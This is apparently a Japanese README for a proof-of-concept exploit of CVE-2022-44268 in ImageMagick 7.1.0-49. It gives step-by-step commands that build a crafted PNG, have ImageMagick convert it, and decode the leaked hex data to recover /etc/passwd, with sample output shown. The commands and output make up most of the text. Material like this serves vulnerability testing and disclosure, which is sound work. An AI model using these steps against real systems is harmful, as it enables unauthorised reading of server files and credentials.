ImageMagick LFI PoC [CVE-2022-44268]

MetabaseQの研究者は、CVE-2022-44268、すなわちImageMagick 7.1.0-49が情報漏洩に対して脆弱であることを発見しました。PNG画像（例：リサイズ）を解析する際、結果の画像に任意のリモートファイルの内容が埋め込まれる可能性があります（ImageMagickバイナリにそのファイルを読み取る権限がある場合）。

使用方法

ImageMagickと必要なPythonパッケージがインストールされていることを確認してください。

(~)>>> python3 generate.py -f "/etc/passwd" -o exploit.png

   [>] ImageMagick LFI PoC - by Sybil Scan Research <[email protected]>
   [>] Generating Blank PNG
   [>] Blank PNG generated
   [>] Placing Payload to read /etc/passwd
   [>] PoC PNG generated > exploit.png

生成されたPNGファイルを変換します:

(~)>>> convert exploit.png result.png

変換されたPNGファイルの内容を読み取ります:

(~)>>> identify -verbose result.png

Raw profile typeフィールドで返されたデータをデコードすると、/etc/passwdの内容が確認できます:

(~)>>> python3 -c 'print(bytes.fromhex("726f6f743a783a726f6f743---REDACTED--").decode("utf-8"))'


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

imagemagick-lfi-poc

人気

imagemagick-lfi-poc

人気

ImageMagick LFI PoC [CVE-2022-44268]

使用方法

参考文献